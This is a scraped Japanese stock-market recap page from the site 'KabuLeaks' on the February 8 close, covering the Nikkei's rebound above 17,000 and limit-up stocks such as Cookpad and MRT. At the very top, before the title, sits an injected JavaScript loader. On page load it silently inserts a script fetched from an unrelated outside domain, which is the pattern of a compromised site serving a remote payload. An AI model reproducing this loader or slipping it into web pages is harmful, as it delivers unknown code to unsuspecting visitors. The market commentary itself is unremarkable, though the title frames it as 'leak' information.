;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/8 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/8 大引け】

本日の日経平均株価は184円高と5営業日ぶり反発。後場は円安推移からの買い戻しの動きが優勢となり再びプラス転換、その後も上げ幅を拡大し日経平均は節目の1万7000円台回復した。業種別では、パルプ・紙、建設業、情報・通信業が値上がり率上位に。一方で、ガラス土石製品、非鉄金属、証券商品先物が値下がり率上位となった。

個別では、【2193】クックパッドが内紛が沈静化でストップ高。創業者で大株主の佐野氏と、取締役選任議案の一本化に関して基本合意に至ったと発表しこれを好感。また、クックパッドと資本業務提携をしている【3685】みんなのウェディングも安心感からストップ高まで買われた。また、投資ファンドのTOBが伝わった【3170】アイセイ薬局のほか、テレビ東京のワールドビジネスサテライトで国内初のスマホ・タブレットを用いた遠隔診療サービス「ポケットドクター」が取り上げられる予定だと発表した【6034】MRTなどもストップ高に。

その他では提携先のLiquidが官民協議会の出資事業に選定された【8704】トレイダーズや10-12月期営業損益は黒字転換の【6804】ホシデン、【6958】日本シイエムケイなどが大幅上昇となった。テーマ株からはフィンテック関連の【3778】さくらインターネットが「さくらのIoT Platform」を16年度中に開始すると発表。これを好感され急伸、これに関連銘柄が反応したかフィンテック関連の一角が軒並み上昇となった。

日経平均は終値で1万7000円台を回復も油断は禁物。あくまでも短期的な売られ過ぎ感からの反発程度の買い本格的な腰の入った買いとは思えず引き続き戻りには警戒しておきたいところ。今週はイベントも多数控えており、基本様子見を本線に個別物色。為替動向も要注視。